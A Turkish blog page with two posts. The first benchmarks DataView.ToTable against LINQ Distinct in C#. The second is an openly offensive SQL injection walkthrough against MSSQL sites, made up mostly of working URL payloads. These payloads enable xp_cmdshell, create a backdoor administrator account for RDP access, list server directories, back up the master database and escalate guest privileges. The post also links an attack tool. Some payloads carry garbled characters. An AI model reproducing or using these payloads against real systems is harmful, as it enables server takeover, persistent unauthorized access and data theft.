12 Ocak 2013 Cumartesi

Distinct : DataView.ToTable Vs Linq


Büyük veriler üzerinde işlem yaparken, kullandığımız yönteme çok dikkat etmeliyiz.

Projelerden birinde 350.000 satırlık veri kümesi üzerinde işlemler yapıp, düzenli bir veri modeline dönüştüreceğim. işlemler sırasında Distinct() işlemi uygulamam gerekmekteydi. 2 yöntem kullanarak işlemi gerçekleştirdim ve aralarındaki uçurum inanılmaz farklı çıktı.

Distinct -> DataView.ToTable Vs Linq

veri sayımız küçük olduğunda DataView.ToTable ile işlem yapmasında performanse çok sorun oluşturmuyor gibi. ama veri kümesi arttıkça inanılmaz bir yavaşlama söz konusu. bu yavaşlamayı en kolay linq ile kolaylıkla çözmekteyiz.

Performans test kodları ve sonuçları;


data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
VS
data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();

Veri kümemizi oluşturma işlemi;
private static DataTable GenerateTable(int noOfRows, int modules)
{
    DataTable dt = new DataTable();
    dt.Columns.Add("Id", typeof(int));
    dt.Columns.Add("Name", typeof(string));
    dt.Columns.Add("Role", typeof(string));
    dt.Columns.Add("DC1", typeof(string));
    dt.Columns.Add("DC2", typeof(string));
    dt.Columns.Add("DC3", typeof(string));
    dt.Columns.Add("DC4", typeof(string));
    dt.Columns.Add("DC5", typeof(string));
    dt.Columns.Add("DC6", typeof(string));
    dt.Columns.Add("DC7", typeof(string));

    for (int i = 0; i < noOfRows; i++)
    {
        int id = i % modules;
        dt.Rows.Add(new object[] { id, "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString() });
    }
    return dt;
}

Performans hesaplama kısmı;
 
static void Main(string[] args)
{
    Display display = null;
    for (int i = 1; i < 1000; i += 100)
    {
        DataTable data = GenerateTable(1000 * i, 10 * i);

        display = new Display();

        sw.Start();
        DataTable distictData = data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
        display.ItemsInfo = data.Rows.Count + "/" + distictData.Rows.Count;
        display._ToTable = sw.ElapsedMilliseconds;
        sw.Stop();

        sw.Restart();
        var result = data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();
        display._Linq = sw.ElapsedMilliseconds;
        sw.Stop();

        list.Add(display);
    }

    writeConsole();

    Console.ReadKey();
}
 
private static void writeConsole()
{
    Console.WriteLine("ItemCount/DistinctItem  |  DataView ToTable   |   Linq");
    foreach (Display d in list)
    {
        Console.WriteLine(string.Format("         {0}            |         {1}         |   {2}", d.ItemsInfo, d._ToTable, d._Linq));
    }
}

Sonuçlar milliseconds olarak verilmektedir.

Bunun dışında Microsoft un yayınladığı bir makale daha var. Genel performans için dikkat edilmesi gerekenler.

Performance Tips and Tricks in .NET Applications -> http://msdn.microsoft.com/en-us/library/ms973839.aspx

7 Ocak 2013 Pazartesi

Gelişmiş SQL Enjeksiyon İşlemleri (Advanced Sql Injection)

Yazımda en çok bilinen standart sql injection komutlarından bahsetmek yerine onlarla ilgili çok eskiden yazdığım dökümanları en aşağıda yayınlamaktayım.

Bu seferki yazımda Sql injection ile MSSQL üzerinde sınırları zorlayacağız. :) örneğin cmdshell komutu üzerinden RDP kullanıcı oluşturma, dosya dizinlerine erişme, ping işlemleri vs.. en önemlisi ise mevcut güvenlik önlemlerini aşarak :) bu işlemleri kolaylıkla yapıyor olmak.

Öncelikle xp_cmdshell yetkisi kontrolü yapalım.

 viewdetail.aspx?test=22';EXEC xp_cmdshell 'ping 127.0.0.1';--

SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.

şekilde hata alabiliriz. 'xp_cmdshell' için gerekli izinleri verelim ;) aşağıdaki komut satırlarını sırası ile uygulayalım.

viewdetail.aspx?test=22';EXEC sp_configure 'show advanced options',1;RECONFIGURE;--

viewdetail.aspx?test=22';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

gerekli izinler, paremtreler düzenlenmiş oldu. :) hadi hemen RDP kullanıcı açalım. arkasından kullanıcımızı administrator grubuna ekliyelim.

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net user ejder ejder /add';--

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net localgroup administrators ejder /add';--

site üzerinde uyguladığımızda hata döndürmedi ise :) sorunsuz işliyor demektir. şimdi rdp ile bağlanmak için son adım kalıyor. o da CMD üzerinden "ping www.hedefsite.com" yazdığımızda çıkan IP adresine RDP ile bağlanmaktır. Kullanıcı Adı: ejder, şifre: ejder

"xp_cmdshell" üzerinden dilediğimizi yapabiliriz :) sunucu üzerinde "dir c:\" yazıp dosya sistemine erişebilirsiniz. db backup, dosya yaratma vs... Fakat rdp oluşturunca bu kadar kasmaya gerek bile kalmıyacak. herşey elinizin altında olacak :)

örnek;

viewdetail.aspx?test=22';drop table zEj create table zEj(ID int identity,Str varchar(1000)) insert into zEj exec master..xp_cmdshell 'dir /b C:\';--

bu örneğimizde C dizinindeki sonucu , zEj tablosuna yazdırıyorum. ordan datayı okuyup, bilgiye ulaşabiliriz.

Database in backup olarak almak için;

viewdetail.aspx?test=22';BACKUP database master to disk='1.zip';--


"OpenRowset/OpenDatasource" işlemleri için gerekli izin ve paremetrelerin sırası ile çalıştırılması gerekmektedir.

viewdetail.aspx?test=22';exec sp_configure 'show advanced options',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;--

Evet, şimdide Guest hesabı , DB_OWNER olarak değiştirmek :) BUILTIN\ADMINISTRATORS grubuna ekleme işlemi sırasıyla;

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set sid=0×01,roles=0×01 where name=”guest"','xx' exec sp_executesql N'drop view dbo.test'--

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name="BUILTIN\ADMINISTRATORS"','xx' exec sp_executesql N'drop view dbo.test'--


Sql injection dökümanı için -> https://docs.google.com/open?id=0ByRFI3ULXVPuTlJZUmlDNVdwMW8

 5 sene önce yazdığım Sql injection yazılımı, dökümanı ve anlatım videosu ektedir.. https://rapidshare.com/files/2167494494/SqlInjv2.rar  video için ise aşağıdadır.


Öner KAYA